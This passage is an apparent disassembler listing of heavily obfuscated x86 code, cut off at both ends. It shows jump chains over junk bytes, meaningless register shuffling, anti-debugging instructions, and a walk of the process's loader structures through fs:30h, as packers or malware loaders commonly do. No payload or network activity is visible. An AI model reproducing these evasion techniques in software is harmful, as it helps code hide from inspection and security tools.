loc_4080E4:				; CODE XREF: .text:loc_4080FAj
		jmp	short loc_408115
; ---------------------------------------------------------------------------
		dw 2023h
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh
; ---------------------------------------------------------------------------
		dec	ecx
		dec	esi


loc_4080FA:				; CODE XREF: .text:004080CFj
		jmp	short loc_4080E4
; ---------------------------------------------------------------------------
		db 6Fh,	7Ch
; ---------------------------------------------------------------------------


loc_4080FE:				; CODE XREF: .text:004080ABj
		add	eax, 81688B5Ah
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short near ptr loc_4080A9+1
		icebp
		setalc
		push	edi


loc_408115:				; CODE XREF: .text:loc_4080E4j
		push	28Ah
		push	esi
		push	eax
		adc	esi, 80C95Ah
		test	ecx, ebx
		rcr	eax, 7
		mov	esi, ecx
		dec	eax
		inc	eax
		cld
		pop	eax
		pop	esi
		push	5FF0CD3Ch
		push	edi
		push	esi
		mov	edi, 81905Ah
		cmp	al, 0F1h
		lea	esi, ds:80AF5Ah
		and	esi, 80AA5Ah
		xor	esi, ebx
		xor	esi, esi
		cld
		pop	esi
		pop	edi
		push	24000h
		jmp	short loc_40817F
; ---------------------------------------------------------------------------
		dw 0E5DCh
		db 0BAh
; ---------------------------------------------------------------------------


loc_408159:				; CODE XREF: .text:loc_40817Fj
		jmp	short loc_408192
; ---------------------------------------------------------------------------
		db 6Bh
		dd 478661C8h, 0E3129D74h, 3F5E99E0h, 5B6A550Ch,	3736D1F8h
		dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch
; ---------------------------------------------------------------------------
		sub	[ecx-1Ah], al


loc_40817F:				; CODE XREF: .text:00408154j
		jmp	short loc_408159
; ---------------------------------------------------------------------------
		db 27h,	0D4h, 7Dh
		dd 7940C372h, 356C1FBEh, 0B1583BCAh
; ---------------------------------------------------------------------------
		xchg	eax, esi
		pop	ss


loc_408192:				; CODE XREF: .text:loc_408159j
		call	near ptr sub_408E23
		jmp	short loc_4081C6
; ---------------------------------------------------------------------------
		db 0E9h, 6Eh, 0Fh
		dd 2B7AA59Ch, 7462188h
; ---------------------------------------------------------------------------


loc_4081A4:				; CODE XREF: .text:loc_4081C6j
		jmp	short loc_4081D6
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh
		db 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_4081C6:				; CODE XREF: .text:00408197j
		jmp	short loc_4081A4
; ---------------------------------------------------------------------------
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch
		db 18h,	71h
; ---------------------------------------------------------------------------


loc_4081D6:				; CODE XREF: .text:loc_4081A4j
		add	esp, 0Ch
		jmp	short loc_408209
; ---------------------------------------------------------------------------
		db 0E2h
		dd 2EA93073h
		db 0CFh, 5Ch
; ---------------------------------------------------------------------------


loc_4081E2:				; CODE XREF: .text:loc_408209j
		jmp	short loc_408219
; ---------------------------------------------------------------------------
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
		dd 24B7B651h, 9053428Dh, 0BCAF8E89h, 0A8CB9A45h
		db 0C1h
; ---------------------------------------------------------------------------


loc_408209:				; CODE XREF: .text:004081D9j
		jmp	short loc_4081E2
; ---------------------------------------------------------------------------
		db 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh
		db 0BBh
; ---------------------------------------------------------------------------


loc_408219:				; CODE XREF: .text:loc_4081E2j
		mov	eax, ebp
		jmp	short loc_40824D
; ---------------------------------------------------------------------------
		db 6Dh,	0A2h, 33h
		dd 8FEE69F0h
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: .text:loc_40824Dj
		jmp	short loc_408260
; ---------------------------------------------------------------------------
		dw 251Ch
		dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh
		dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
		db 26h
; ---------------------------------------------------------------------------


loc_40824D:				; CODE XREF: .text:0040821Bj
		jmp	short loc_408224
; ---------------------------------------------------------------------------
		db 67h
		db 14h
; ---------------------------------------------------------------------------


loc_408251:				; CODE XREF: .text:loc_408260j
		jmp	short loc_40827F
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------


loc_408260:				; CODE XREF: .text:loc_408224j
		jmp	short loc_408251
; ---------------------------------------------------------------------------
		dw 57D6h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h,	0E3129D74h
		dd 3F5E99E0h
		db 0Ch,	55h, 6Ah
; ---------------------------------------------------------------------------


loc_40827F:				; CODE XREF: .text:loc_408251j
		push	esi
		push	edi
		push	esi
		cmp	ecx, esp
		xor	edi, edi
		ror	edi, 0Ah
		inc	esi
		add	esi, 90915Ah
		xchg	esi, esi
		push	eax
		pop	edi
		cmp	edi, eax
		test	al, dl
		dec	esi
		cld
		pop	esi
		pop	edi
		push	eax
		jmp	short loc_4082CD
; ---------------------------------------------------------------------------
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]


loc_4082A6:				; CODE XREF: .text:loc_4082CDj
		jmp	short loc_4082DD
; ---------------------------------------------------------------------------
		dd 0D427E641h, 40C3727Dh, 6C1FBE79h, 583BCA35h,	41796B1h
		dd 70B322EDh, 9C0F6EE9h, 882B7AA5h, 34074621h
; ---------------------------------------------------------------------------
		pop	ebp


loc_4082CD:				; CODE XREF: .text:0040829Dj
		jmp	short loc_4082A6
; ---------------------------------------------------------------------------
		db 0D2h
		db 0A3h, 0A0h, 59h
; ---------------------------------------------------------------------------


loc_4082D3:				; CODE XREF: .text:loc_4082DDj
		jmp	short loc_408300
; ---------------------------------------------------------------------------
		push	ds
		dec	esp
		adc	eax, 91B81B2Ah


loc_4082DD:				; CODE XREF: .text:loc_4082A6j
		jmp	short loc_4082D3
; ---------------------------------------------------------------------------
		db 0F6h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
; ---------------------------------------------------------------------------


loc_4082F0:				; CODE XREF: .text:loc_408300j
		jmp	short loc_40831F
; ---------------------------------------------------------------------------
		dw 94E7h
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h
; ---------------------------------------------------------------------------


loc_408300:				; CODE XREF: .text:loc_4082D3j
		jmp	short loc_4082F0
; ---------------------------------------------------------------------------
		dw 5671h
		dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		dd 0DE196063h
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_40831F:				; CODE XREF: .text:loc_4082F0j
		push	24000h
		push	ebx
		push	esi
		mov	bx, 4949h
		stc
		xor	ebx, ebp
		cld
		pop	esi
		pop	ebx
		call	near ptr sub_405202
		jmp	short loc_408367
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 89h,	8Eh, 0AFh
		db 0BCh, 45h
; ---------------------------------------------------------------------------


loc_40833E:				; CODE XREF: .text:loc_408367j
		jmp	short loc_40837E
; ---------------------------------------------------------------------------
		dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
		dd 6D849716h, 69F033A2h, 251C8FEEh, 0A108ABFAh
		db 0C6h, 87h, 0B4h
; ---------------------------------------------------------------------------


loc_408367:				; CODE XREF: .text:00408335j
		jmp	short loc_40833E
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]
		and	cl, bl
		sahf


loc_40836F:				; CODE XREF: .text:loc_40837Ej
		jmp	short loc_408395
; ---------------------------------------------------------------------------
		db 7Fh,	4Ch, 95h
		dd 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------
		add	dl, [ebx]


loc_40837E:				; CODE XREF: .text:loc_40833Ej
		jmp	short loc_40836F
; ---------------------------------------------------------------------------


loc_408380:				; CODE XREF: .text:loc_408395j
		jmp	short loc_4083AC
; ---------------------------------------------------------------------------
		dw 4950h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h
		db 0FEh
; ---------------------------------------------------------------------------


loc_408395:				; CODE XREF: .text:loc_40836Fj
		jmp	short loc_408380
; ---------------------------------------------------------------------------
		db 5Fh
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
; ---------------------------------------------------------------------------


loc_4083AC:				; CODE XREF: .text:loc_408380j
		xor	eax, eax
		push	eax
		push	edx
		cmp	al, 0C4h
		test	al, ch
		mov	ax, 49DDh
		test	eax, eax
		dec	edx
		cld
		pop	edx
		pop	eax
		dec	eax
		jmp	short loc_4083EF
; ---------------------------------------------------------------------------
		db 0E0h, 99h, 5Eh
		dd 6A550C3Fh
; ---------------------------------------------------------------------------


loc_4083C8:				; CODE XREF: .text:loc_4083EFj
		jmp	short loc_4083FF
; ---------------------------------------------------------------------------
		dw 0F85Bh
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h,	0D427E641h
		dd 40C3727Dh, 6C1FBE79h, 583BCA35h
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss


loc_4083EF:				; CODE XREF: .text:004083BFj
		jmp	short loc_4083C8
; ---------------------------------------------------------------------------
		db 4, 0EDh, 22h
		db 0B3h
; ---------------------------------------------------------------------------


loc_4083F5:				; CODE XREF: .text:loc_4083FFj
		jmp	short loc_408422
; ---------------------------------------------------------------------------
		db 70h
		dd 9C0F6EE9h
		db 0A5h, 7Ah, 2Bh
; ---------------------------------------------------------------------------


loc_4083FF:				; CODE XREF: .text:loc_4083C8j
		jmp	short loc_4083F5
; ---------------------------------------------------------------------------
		db 88h,	21h, 46h
		dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h
		dd 0CEC9D093h, 0DA85FCEFh
; ---------------------------------------------------------------------------
		or	ebp, eax


loc_408422:				; CODE XREF: .text:loc_4083F5j
		mov	ecx, eax
		push	esi
		push	edx
		mov	esi, ebx
		rol	esi, 0FAh
		not	esi
		cmp	dl, al
		xor	edx, ecx
		cld
		pop	edx
		pop	esi
		mov	edx, eax
		jmp	short loc_408467
; ---------------------------------------------------------------------------
		db 0DFh, 2Ch, 0F5h
; ---------------------------------------------------------------------------


loc_40843B:				; CODE XREF: .text:loc_408467j
		jmp	short loc_40847A
; ---------------------------------------------------------------------------
		db 8Ah,	0FBh, 18h
		dd 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h,	0F4C706E1h
		dd 6063921Dh, 8CBFDE19h, 78DBEAD5h, 24B7B651h
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]


loc_408467:				; CODE XREF: .text:00408436j
		jmp	short loc_40843B
; ---------------------------------------------------------------------------
		align 2
		mov	[esi-65BA4351h], ecx


loc_408470:				; CODE XREF: .text:loc_40847Aj
		jmp	short loc_40849D
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h
		db 0FDh, 0F2h
; ---------------------------------------------------------------------------


loc_40847A:				; CODE XREF: .text:loc_40843Bj
		jmp	short loc_408470
; ---------------------------------------------------------------------------
		inc	ebx


loc_40847D:				; CODE XREF: .text:loc_40849Dj
		jmp	short loc_4084AD
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h
		dd 8ABFA25h, 0B487C6A1h
		db 0DDh
; ---------------------------------------------------------------------------


loc_40849D:				; CODE XREF: .text:loc_408470j
		jmp	short loc_40847D
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_408524


loc_4084AD:				; CODE XREF: .text:loc_40847Dj
		cpuid
		jmp	short loc_4084DD
; ---------------------------------------------------------------------------
		db 7Ch,	5, 5Ah
		dd 2681688Bh
; ---------------------------------------------------------------------------


loc_4084B8:				; CODE XREF: .text:loc_4084DDj
		jmp	short loc_4084EF
; ---------------------------------------------------------------------------
		dw 1467h
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h,	0B0F3622Dh
		dd 0DC4FAE29h, 0C86BBAE5h, 74478661h
; ---------------------------------------------------------------------------
		popf


loc_4084DD:				; CODE XREF: .text:004084AFj
		jmp	short loc_4084B8
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: .text:loc_4084EFj
		jmp	short loc_40850A
; ---------------------------------------------------------------------------
		db 12h,	0E3h, 0E0h
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa


loc_4084EF:				; CODE XREF: .text:loc_4084B8j
		jmp	short loc_4084DF
; ---------------------------------------------------------------------------
		db 0A4h, 0Dh, 0C2h
; ---------------------------------------------------------------------------


loc_4084F4:				; CODE XREF: .text:loc_40850Aj
		jmp	short loc_408525
; ---------------------------------------------------------------------------
		dw 10D3h
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh
		db 79h,	0BEh
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: .text:loc_4084DFj
		jmp	short loc_4084F4
; ---------------------------------------------------------------------------
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h,	7AA59C0Fh
		dd 4621882Bh
; ---------------------------------------------------------------------------


loc_408524:				; CODE XREF: .text:004084ABj
		pop	es


loc_408525:				; CODE XREF: .text:loc_4084F4j
		xor	edi, edi
		push	edx
		push	ebx
		lea	ebx, ds:80A49Ah
		not	edx
		dec	edx
		cmp	al, bh
		cld
		pop	ebx
		pop	edx
		dec	edi
		jmp	short loc_408564
; ---------------------------------------------------------------------------
		sub	bl, [ebx]
		mov	eax, 64F7F691h


loc_408541:				; CODE XREF: .text:loc_408564j
		jmp	short loc_408574
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h
		dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h
; ---------------------------------------------------------------------------


loc_408564:				; CODE XREF: .text:00408538j
		jmp	short loc_408541
; ---------------------------------------------------------------------------


loc_408566:				; CODE XREF: .text:loc_408574j
		jmp	short loc_408597
; ---------------------------------------------------------------------------
		dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah
; ---------------------------------------------------------------------------


loc_408574:				; CODE XREF: .text:loc_408541j
		jmp	short loc_408566
; ---------------------------------------------------------------------------
		dw 0C706h
		db 0F4h, 1Dh, 92h
; ---------------------------------------------------------------------------


loc_40857B:				; CODE XREF: .text:loc_408597j
		jmp	short loc_4085A8
; ---------------------------------------------------------------------------
		db 63h,	60h, 19h
		dd 0D58CBFDEh, 5178DBEAh, 8D24B7B6h, 89905342h,	45BCAF8Eh
		db 9Ah,	0CBh, 0A8h
; ---------------------------------------------------------------------------


loc_408597:				; CODE XREF: .text:loc_408566j
		jmp	short loc_40857B
; ---------------------------------------------------------------------------
		db 0C1h, 66h, 0A7h
		dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh
; ---------------------------------------------------------------------------


loc_4085A8:				; CODE XREF: .text:loc_40857Bj
		cmp	edi, edx
		jnz	loc_408653
		push	eax
		push	edx
		ror	edx, 47h
		neg	eax
		xor	edx, edx
		dec	eax
		mov	dx, 499Fh
		mov	edx, 80899Ah
		push	ecx
		pop	edx
		cld
		pop	edx
		pop	eax
		cmp	edi, ecx
		jnz	loc_408653
		push	ebx
		push	esi
		mov	esi, eax
		xor	esi, edx
		mov	bx, 494Bh
		mov	bx, 4938h
		xor	ebx, ebp
		shl	ebx, 0A8h
		not	ebx


loc_4085E5:				; CODE XREF: .text:00408646j
					; .text:0040864Aj
		cmp	al, 0EAh
		cld
		dec	ebx
		cld
		pop	esi
		pop	ebx
		sub	ebp, 1000h
		jmp	short loc_408620
; ---------------------------------------------------------------------------
		dd 251C8FEEh
		db 0FAh, 0ABh, 8
; ---------------------------------------------------------------------------


loc_4085FB:				; CODE XREF: .text:loc_408620j
		jmp	short loc_408630
; ---------------------------------------------------------------------------
		db 0A1h, 0C6h, 87h
		dd 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h
		dd 6F4E4950h, 8B5A057Ch, 67268168h
; ---------------------------------------------------------------------------


loc_408620:				; CODE XREF: .text:004085F2j
		jmp	short loc_4085FB
; ---------------------------------------------------------------------------
		dw 0BD14h
		dd 0B98003B2h
; ---------------------------------------------------------------------------


loc_408628:				; CODE XREF: .text:loc_408630j
		jmp	short loc_408653
; ---------------------------------------------------------------------------
		dw 5FFEh
		dd 7B0A75ACh
; ---------------------------------------------------------------------------


loc_408630:				; CODE XREF: .text:loc_4085FBj
		jmp	short loc_408628
; ---------------------------------------------------------------------------
		cwde
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_4085E5
		adc	ah, bl
		loopne	loc_4085E5
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc


loc_408653:				; CODE XREF: .text:004085AAj
					; .text:004085CAj ...
		xor	eax, eax
		push	esi
		push	eax
		jns	short loc_40865F
		rcr	eax, 0Bh
		inc	esi
		xor	eax, edx


loc_40865F:				; CODE XREF: .text:00408657j
		xor	eax, ebx
		cmp	eax, 80CA5Ah
		lea	eax, ds:809A1Ah
		clc
		cld
		pop	eax
		pop	esi
		cmp	eax, 1
		jz	loc_408DE6
		jmp	short loc_4086AB
; ---------------------------------------------------------------------------
		db 0Eh,	2Fh, 3Ch
; ---------------------------------------------------------------------------


loc_40867F:				; CODE XREF: .text:loc_4086ABj
		jmp	short loc_4086C2
; ---------------------------------------------------------------------------
		db 0C5h, 1Ah, 4Bh
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch,	1796B158h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h
		db 34h,	5Dh, 0D2h
; ---------------------------------------------------------------------------


loc_4086AB:				; CODE XREF: .text:0040867Aj
		jmp	short loc_40867F
; ---------------------------------------------------------------------------
		db 0A3h, 0A0h, 59h
; ---------------------------------------------------------------------------


loc_4086B0:				; CODE XREF: .text:loc_4086C2j
		jmp	short loc_4086DD
; ---------------------------------------------------------------------------
		dw 0FF1Eh
		db 0CCh
		db 15h,	2Ah, 1Bh
		dd 0F7F691B8h, 9382CD64h
; ---------------------------------------------------------------------------
		ror	cl, 1


loc_4086C2:				; CODE XREF: .text:loc_40867Fj
		jmp	short loc_4086B0
; ---------------------------------------------------------------------------
		dd 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------
		cmpsb


loc_4086CD:				; CODE XREF: .text:loc_4086DDj
		jmp	short loc_4086FE
; ---------------------------------------------------------------------------
		db 0E7h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch
		db 18h
; ---------------------------------------------------------------------------


loc_4086DD:				; CODE XREF: .text:loc_4086B0j
		jmp	short loc_4086CD
; ---------------------------------------------------------------------------
		db 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
		dd 19606392h, 0D58CBFDEh
		db 0EAh, 0DBh
; ---------------------------------------------------------------------------


loc_4086FE:				; CODE XREF: .text:loc_4086CDj
		mov	eax, large fs:30h
		push	edi
		push	ecx
		ror	edi, 33h
		xor	edi, esi
		lea	ecx, ds:808A9Ah
		cld
		pop	ecx
		pop	edi
		mov	eax, [eax+0Ch]
		jmp	short loc_408747
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_408720:				; CODE XREF: .text:loc_408747j
		jmp	short loc_40875C
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh
		db 0C6h, 87h, 0B4h
; ---------------------------------------------------------------------------


loc_408747:				; CODE XREF: .text:00408717j
		jmp	short loc_408720
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]
		and	cl, bl
		sahf


loc_40874F:				; CODE XREF: .text:loc_40875Cj
		jmp	short loc_40877B
; ---------------------------------------------------------------------------
		db 7Fh,	4Ch, 95h
		dd 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------


loc_40875C:				; CODE XREF: .text:loc_408720j
		jmp	short loc_40874F
; ---------------------------------------------------------------------------
		add	dl, [ebx]


loc_408760:				; CODE XREF: .text:loc_40877Bj
		jmp	short loc_408792
; ---------------------------------------------------------------------------
		dw 4950h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h,	75AC5FFEh
		db  0Ah
		db  7Bh	; {
		db  98h	; ˜
; ---------------------------------------------------------------------------


loc_40877B:				; CODE XREF: .text:loc_40874Fj
		jmp	short loc_408760
; ---------------------------------------------------------------------------
		db 0F1h, 0D6h, 57h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h
		db 74h,	9Dh
; ---------------------------------------------------------------------------


loc_408792:				; CODE XREF: .text:loc_408760j
		mov	edi, [eax+0Ch]
		jmp	short loc_4087A9
; ---------------------------------------------------------------------------
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb


loc_40879E:				; CODE XREF: .text:loc_4087A9j
		jmp	short loc_4087D0
; ---------------------------------------------------------------------------
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_4087A9:				; CODE XREF: .text:00408795j
		jmp	short loc_40879E
; ---------------------------------------------------------------------------
		sbb	cl, [ebx+28h]
		inc	ecx


loc_4087AF:				; CODE XREF: .text:loc_4087D0j
		jmp	short loc_4087E0
; ---------------------------------------------------------------------------
		db 0E6h, 27h, 0D4h
; ---------------------------------------------------------------------------
		jge	short loc_408828
		retn
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h
		dd 882B7AA5h
; ---------------------------------------------------------------------------


loc_4087D0:				; CODE XREF: .text:loc_40879Ej
		jmp	short loc_4087AF
; ---------------------------------------------------------------------------
		dw 4621h
; ---------------------------------------------------------------------------


loc_4087D4:				; CODE XREF: .text:loc_4087E0j
		jmp	short loc_408803
; ---------------------------------------------------------------------------
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_4087E0:				; CODE XREF: .text:loc_4087AFj
		jmp	short loc_4087D4
; ---------------------------------------------------------------------------
		dw 2A15h
		dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
		dd 323D94E7h, 7E390083h
		db 0DFh, 2Ch, 0F5h
; ---------------------------------------------------------------------------


loc_408803:				; CODE XREF: .text:loc_4087D4j
		push	edi
		jmp	short loc_408830
; ---------------------------------------------------------------------------
		dw 0ADC4h
		dd 0A93073E2h
		db 2Eh
; ---------------------------------------------------------------------------


loc_40880D:				; CODE XREF: .text:loc_408830j
		jmp	short loc_408840
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch
		dd 0B7B65178h
; ---------------------------------------------------------------------------


loc_408828:				; CODE XREF: .text:004087B4j
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
; ---------------------------------------------------------------------------
		db 89h,	8Eh, 0AFh
; ---------------------------------------------------------------------------


loc_408830:				; CODE XREF: .text:00408804j
		jmp	short loc_40880D
; ---------------------------------------------------------------------------


loc_408832:				; CODE XREF: .text:loc_408840j
		jmp	short loc_408863
; ---------------------------------------------------------------------------
		dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_408840:				; CODE XREF: .text:loc_40880Dj
		jmp	short loc_408832
; ---------------------------------------------------------------------------
		dw 0F9C0h
		dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h,	251C8FEEh
		dd 0A108ABFAh, 0DDB487C6h
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]


loc_408863:				; CODE XREF: .text:loc_408832j
					; .text:00408A83j
		cmp	ebp, [edi+18h]
		jnz	loc_408A76
		jmp	short loc_408897
; ---------------------------------------------------------------------------
		dw 1138h
		db 76h
; ---------------------------------------------------------------------------


loc_408871:				; CODE XREF: .text:loc_408897j
		jmp	short loc_4088AA
; ---------------------------------------------------------------------------
		db 77h
		dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h
		dd 5FFEB980h, 7B0A75ACh, 57D6F198h
		db 44h,	2Dh, 62h
; ---------------------------------------------------------------------------


loc_408897:				; CODE XREF: .text:0040886Cj
		jmp	short loc_408871
; ---------------------------------------------------------------------------
		db 0F3h, 0B0h, 29h
; ---------------------------------------------------------------------------
		scasb
		dec	edi


loc_40889E:				; CODE XREF: .text:loc_4088AAj
		jmp	short loc_4088CD
; ---------------------------------------------------------------------------
		dd 6BBAE5DCh, 478661C8h
		db 74h,	9Dh
; ---------------------------------------------------------------------------


loc_4088AA:				; CODE XREF: .text:loc_408871j
		jmp	short loc_40889E
; ---------------------------------------------------------------------------
		dd 99E0E312h
		db 5Eh,	3Fh, 0Ch
; ---------------------------------------------------------------------------


loc_4088B3:				; CODE XREF: .text:loc_4088CDj
		jmp	short loc_4088E0
; ---------------------------------------------------------------------------
		db 55h,	6Ah, 5Bh
		dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch,	27E64128h
		db 0D4h
; ---------------------------------------------------------------------------


loc_4088CD:				; CODE XREF: .text:loc_40889Ej
		jmp	short loc_4088B3
; ---------------------------------------------------------------------------
		jge	short loc_408943
		retn
; ---------------------------------------------------------------------------
		dw 7940h
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh


loc_4088E0:				; CODE XREF: .text:loc_4088B3j
		add	esp, 4
		jmp	short loc_408907
; ---------------------------------------------------------------------------
		db 0A5h, 7Ah, 2Bh
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi
		pop	es


loc_4088EC:				; CODE XREF: .text:loc_408907j
		jmp	short loc_40891E
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		db 0CEh, 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_408907:				; CODE XREF: .text:004088E3j
		jmp	short loc_4088EC
; ---------------------------------------------------------------------------
		test	ebx, edx
		or	ebp, eax


loc_40890D:				; CODE XREF: .text:loc_40891Ej
		jmp	short loc_40893D
; ---------------------------------------------------------------------------
		db 1
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------
		mov	bh, bl


loc_40891E:				; CODE XREF: .text:loc_4088ECj
		jmp	short loc_40890D
; ---------------------------------------------------------------------------
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h
		db 5Ch,	65h
; ---------------------------------------------------------------------------


loc_40892E:				; CODE XREF: .text:loc_40893Dj
		jmp	short loc_40895C
; ---------------------------------------------------------------------------
		dd 0E148EB3Ah, 1DF4C706h, 19606392h
		db 0DEh
; ---------------------------------------------------------------------------


loc_40893D:				; CODE XREF: .text:loc_40890Dj
		jmp	short loc_40892E
; ---------------------------------------------------------------------------
		db 0BFh
		db 8Ch,	0D5h, 0EAh
; ---------------------------------------------------------------------------


loc_408943:				; CODE XREF: .text:004088CFj
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: .text:loc_40892Ej
		push	22F50h
		push	eax


loc_408962:				; CODE XREF: .text:004089C8j
		push	ecx
		cmp	ecx, ebx
		jnz	loc_40896D
		xor	eax, esp


loc_40896D:				; CODE XREF: .text:00408965j
		not	eax
		xchg	eax, ecx
		std
		cld
		pop	ecx
		pop	eax
		add	[esp], ebp
		push	esi
		push	ecx
		xchg	esi, esi
		dec	esi
		cld


loc_40897E:				; CODE XREF: .text:004089DFj
		pop	ecx
		pop	esi
		mov	eax, [edi+1Ch]
		jmp	short loc_4089B1
; ---------------------------------------------------------------------------
		db 84h,	6Dh, 0A2h
		dd 0EE69F033h
; ---------------------------------------------------------------------------


loc_40898C:				; CODE XREF: .text:loc_4089B1j
		jmp	short loc_4089C1
; ---------------------------------------------------------------------------
		dw 1C8Fh
		dd 8ABFA25h, 0B487C6A1h, 202352DDh, 4C7F9ED9h, 389BAA95h
		dd 0E4777611h, 5013024Dh, 7C6F4E49h
		db 5
; ---------------------------------------------------------------------------


loc_4089B1:				; CODE XREF: .text:00408983j
		jmp	short loc_40898C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2681688Bh
		db 67h
; ---------------------------------------------------------------------------


loc_4089B9:				; CODE XREF: .text:loc_4089C1j
		jmp	short loc_4089E4
; ---------------------------------------------------------------------------
		db 14h
; ---------------------------------------------------------------------------
		mov	ebp, 0B98003B2h


loc_4089C1:				; CODE XREF: .text:loc_40898Cj
